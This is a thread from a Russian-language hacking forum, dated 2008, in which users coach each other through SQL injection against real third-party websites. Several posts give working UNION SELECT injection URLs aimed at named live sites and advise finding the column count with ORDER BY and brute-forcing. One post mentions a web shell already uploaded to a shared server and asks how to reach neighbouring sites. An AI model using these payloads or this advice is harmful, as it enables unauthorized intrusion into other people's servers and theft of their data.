27.12.2008, 22:54
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Сначала надо оценить и правильно понять первоначальную ошибку при выявлении sql-inj. Если в тексте ошибки есть что-то типо left join - значит в запросе участвует не одна таблица, а как минимум две, то данные не выведутся скорее всего, фактически получается blind sql inj
|
|
|
27.12.2008, 22:57
|
|
Новичок
Регистрация: 25.10.2006
Сообщений: 10
С нами:
10285880
Репутация:
1
|
|
Сообщение от Pashkela
Сначала надо оценить и правильно понять первоначальную ошибку при выявлении sql-inj. Если в тексте ошибки есть что-то типо left join - значит в запросе участвует не одна таблица, а как минимум две, то данные не выведутся скорее всего, фактически получается blind sql inj
Все ошибки что есть я запостил.
|
|
|
|
27.12.2008, 23:01
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
если можешь, ссылку кинь в личку
|
|
|
|
28.12.2008, 00:07
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Короче нашел, лень в аську выходить просто  )
http://сайт.ru/print.php?id=1'+union+select+1,2,3,4,5,6,7,8,9,10, version(),12/*
просто ты неправильно подобрал кол-во колонок. Лучше всегда подбирать через order+by, т.к. там всегда пишет конкретно, а не фигню всякую.
Поздравляю, там 4.1.20-log
Только брут |
|
|
|
28.12.2008, 00:48
|
|
Познающий
Регистрация: 18.04.2008
Сообщений: 62
С нами:
9507243
Репутация:
37
|
|
Помогите, пжста, подобрать колонки 
) все подобрал ))
Последний раз редактировалось Thrasher88; 28.12.2008 в 01:20..
|
|
|
|
28.12.2008, 00:54
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Смешной парень, личка тебе уже не поможет
http://www.spoonohost.com/about/news.php?id=-1+union+select+1,2,3,4,version()-- |
|
|
|
28.12.2008, 01:01
|
|
Познающий
Регистрация: 18.04.2008
Сообщений: 62
С нами:
9507243
Репутация:
37
|
|
Ну и что ты этим хотел сказать?? я знаю какая версия БД.. :/
|
|
|
|
28.12.2008, 01:05
|
|
Познающий
Регистрация: 23.12.2008
Сообщений: 81
С нами:
9148120
Репутация:
97
|
|
Thrasher88, т.к. тут 4ая версия mysql, тебе прийдеться угадывать колонки, можно вручную или можешь попробовать с помощью программы SIPT 4!Пока нашел токо: id
|
|
|
|
28.12.2008, 01:08
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
2 Thrasher88:
личку читай
|
|
|
|
28.12.2008, 01:13
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
С нами:
9216251
Репутация:
30
|
|
Ребята, подскажите.
Залил шелл, на сервере хостятся еще порядка 700 сайтов, такой вопрос, могу ли я "полазить" по рядом лежащим или только по одному?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
